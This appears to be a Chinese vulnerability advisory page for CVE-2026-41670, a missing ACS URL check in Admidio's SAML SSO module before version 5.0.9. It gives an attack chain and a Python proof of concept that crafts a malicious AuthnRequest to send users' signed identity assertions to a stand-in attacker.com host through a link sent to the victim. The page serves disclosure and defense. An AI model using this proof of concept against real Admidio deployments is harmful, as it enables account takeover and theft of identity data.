IPBUF安全漏洞报告
English
CVE-2026-41670 CVSS 8.2 高危

CVE-2026-41670 Admidio SAML响应URL验证缺失漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41670
漏洞类型
SAML断言劫持
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Admidio

相关标签

SAMLAdmidio信息泄露URL验证缺失SSO漏洞

漏洞概述

Admidio是一款开源用户管理解决方案。在5.0.9之前的版本中,其SAML SSO模块的IdP实现存在严重缺陷。系统在处理SAML AuthnRequest时,直接使用了请求中提供的AssertionConsumerServiceURL作为响应目标,而未验证该URL是否与数据库中注册的服务提供商客户端ACS URL匹配。这使得攻击者能够伪造请求,诱导服务器将包含用户身份属性的SAML响应发送至恶意地址,导致敏感信息泄露。

技术细节

该漏洞源于Admidio SAML IdP实现中对SAML断言消费服务(ACS)URL的验证缺失。正常情况下,SAML IdP应仅将包含用户身份信息的断言响应发送给服务提供商(SP)预先注册并存储在数据库(smc_acs_url字段)中的可信URL。然而,受影响版本直接信任了AuthnRequest消息中的AssertionConsumerServiceURL参数。

利用方式:攻击者首先需要枚举或知晓目标Admidio系统中已注册的SP客户端的Entity ID。随后,攻击者构造特制的SAML AuthnRequest消息,将AssertionConsumerServiceURL参数设置为由其控制的服务器地址。当Admidio处理此请求时,由于缺乏校验,它会生成包含用户登录名、邮箱、角色及个人资料等敏感信息的签名SAML响应,并将其发送至攻击者指定的URL。攻击者解析该响应即可获取受害用户的完整身份凭证。

攻击链分析

STEP 1
信息收集
攻击者侦察目标Admidio系统,获取已注册的SP客户端的Entity ID。
STEP 2
构造恶意请求
攻击者利用获取的Entity ID,构造SAML AuthnRequest,将AssertionConsumerServiceURL字段修改为攻击者控制的服务器地址。
STEP 3
诱导交互
攻击者诱导受害者(已登录用户)点击包含恶意请求的链接或访问特制页面(UI:R)。
STEP 4
发送断言
Admidio IdP接收请求,由于未校验URL合法性,生成包含用户敏感信息的SAML Response并发送至攻击者服务器。
STEP 5
窃取凭据
攻击者截获SAML Response,解析其中的用户身份信息,完成账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-41670: Admidio SAML Assertion Consumer Service URL Validation Bypass # This script demonstrates how to craft a malicious SAML AuthnRequest. import urllib.parse TARGET_IDP_URL = "https://target-admidio.com/adm_program/modules/sso/saml.php" ATTACKER_URL = "https://attacker.com/steal_saml" SP_ENTITY_ID = "registered_sp_entity_id" # Must be a valid ID known to the IdP def generate_authn_request(): # Simplified SAML AuthnRequest template saml_request = f""" <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_1234567890" Version="2.0" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="{ATTACKER_URL}" IssueInstant="2026-05-07T00:00:00Z" Destination="{TARGET_IDP_URL}" ProviderName="{SP_ENTITY_ID}"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{SP_ENTITY_ID}</saml:Issuer> </samlp:AuthnRequest> """ # In a real attack, this would be Deflated and Base64 encoded encoded_request = urllib.parse.quote(saml_request.strip()) return f"{TARGET_IDP_URL}?SAMLRequest={encoded_request}" if __name__ == "__main__": malicious_url = generate_authn_request() print(f"Send this URL to the victim (requires UI interaction):\n{malicious_url}") print(f"\nThe SAML Response will be sent to: {ATTACKER_URL}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用SAML SSO模块,直到应用补丁。同时,管理员应审查日志,检查是否存在异常的SAML请求或指向未知外部IP的响应流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表